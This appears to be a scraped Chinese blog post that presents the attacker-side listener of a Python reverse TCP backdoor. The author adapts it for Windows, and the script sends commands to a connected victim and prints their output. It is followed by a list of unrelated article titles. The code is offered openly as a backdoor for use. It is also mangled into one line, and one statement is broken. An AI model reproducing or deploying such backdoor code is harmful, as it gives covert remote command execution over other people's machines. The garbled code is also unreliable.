用Python写Reverse TCP 后门
来源:互联网 发布:dd linux 编辑:程序博客网 时间:2024/05/17 16:53
看见一个老外用Python写的Reverse TCP后门。
小小修改了一下,让它支持Windows。
reverseTcp.py:
import socket, syshost = sys.argv[1] # Attacker's host address, usually ''port = int(sys.argv[2]) # Attacker host portif host == "''": # Adapt Windows command line host = ''s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Setup Sockets.bind((host, port)) # Bind the Sockets.listen(100) #Max Connections: 100conn, addr = s.accept() # Accept the client Connectionprint "[+] Connection Established from: %s" % (str(addr[0]))# Print connection message to attackerwhile 1: #Run a while loop to initiate the reverse connection command = raw_input("#> ") # Command to enter on server if command != "exit()": # If command is not exit(), execute if command == "": continue # Command is empty, loop function conn.send(command) # Send Command to client result = conn.recv(1024) #Receive output total_size = long(result[:16]) # Get output size in bytes result = result[16:] #Strip output size and save the rest while total_size > len(result): # Start loop data = conn.recv(1024) # To receive remaining data if result += data # Output exceeds 1024 try: result = result.decode('utf-8') # Decode utf-8 characters(Linux default) except: result = result.decode('gbk') # Decode gbk characters(Windows default) print result.rstrip("\n") # Strip the last annoying newline else: # Else: Command is exit() conn.send("exit()") #Send client shutdown message print "[+] Shell Going Down" # Exit Locally break # Exit the command functions.close() # Close the socket
Window 命令行下 '' 被识别为两个单引号组成的字符串,需要清空。
Windows和Linux默认的编码不同,做个相应的解码,打印汉字不乱码。
connect.py文件不需要更改。
搞定收工。
阅读全文
0 0
- 用Python写Reverse TCP 后门
- 用批处理写的后门
- 【技术分享】利用 Python 打造反向 TCP 后门
- Python后门
- 用批处理写的后门 永不被杀
- 写Android后门工具
- 用Python写的一个多线程TCP通信实例
- python 反向连接后门
- python写算法题:leetcode: 7. Reverse Integer
- [原]使用python建立后门
- socket编程例子:TCP Shell后门
- socket编程例子:TCP Shell后门
- socket编程例子:TCP Shell后门
- 用python写1个简单的聊天服务器3-TCP服务器选择
- elf-write工具写interpreter后门
- 计划自己写一个木马后门
- 揭密如何写ASP木马后门
- Python入门:python自制后门程序
- 设备识别及文件查找
- 6.4
- Allegro导入网表报错
- 小波和多分辨率处理
- C++之变量及数据存储
- 用Python写Reverse TCP 后门
- IOS-UITableViewStyle设置Group、Plain问题
- NOIP 提高组取得480分以上的成绩有多难?
- 浅析HTTP协议六种请求方法(get,head,put,delete,post)
- 理解图像的傅里叶变换(细心分析)
- Java里面Calendar获取上个月最后一天
- Centos下查看cpu、磁盘、内存使用情况以及如何清理内存
- MySQL数据表的切分原则
- eazyui学习总章